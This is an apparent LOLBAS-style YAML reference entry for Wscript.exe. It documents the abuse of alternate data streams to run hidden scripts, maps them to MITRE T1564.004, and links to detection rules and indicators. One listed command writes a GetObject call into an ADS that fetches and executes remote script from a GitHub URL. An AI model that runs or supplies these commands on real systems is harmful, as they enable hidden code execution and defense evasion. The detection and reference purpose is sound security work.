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Name: Wscript.exe
Description: Used by Windows to execute scripts
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
  - Command: wscript //e:vbscript c:\ads\file.txt:script.vbs
    Description: Execute script stored in an alternate data stream
    Usecase: Execute hidden code to evade defensive counter measures
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
    Description: Download and execute script stored in an alternate data stream
    Usecase: Execute hidden code to evade defensive counter measures
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
  - Path: C:\Windows\System32\wscript.exe
  - Path: C:\Windows\SysWOW64\wscript.exe
Code_Sample:
  - Code:
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_script_execution.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/file_event/sysmon_susp_clr_logs.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/image_load/sysmon_susp_script_dotnet_clr_dll_load.yml
  - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
  - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml
  - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
  - Splunk: https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml
  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
  - IOC: Wscript.exe executing code from alternate data streams
  - IOC: DotNet CLR libraries loaded into wscript.exe
  - IOC: DotNet CLR Usage Log - wscript.exe.log
Resources:
  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Acknowledgement:
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'
  - Person: SaiLay(valen)
    Handle: '@404death'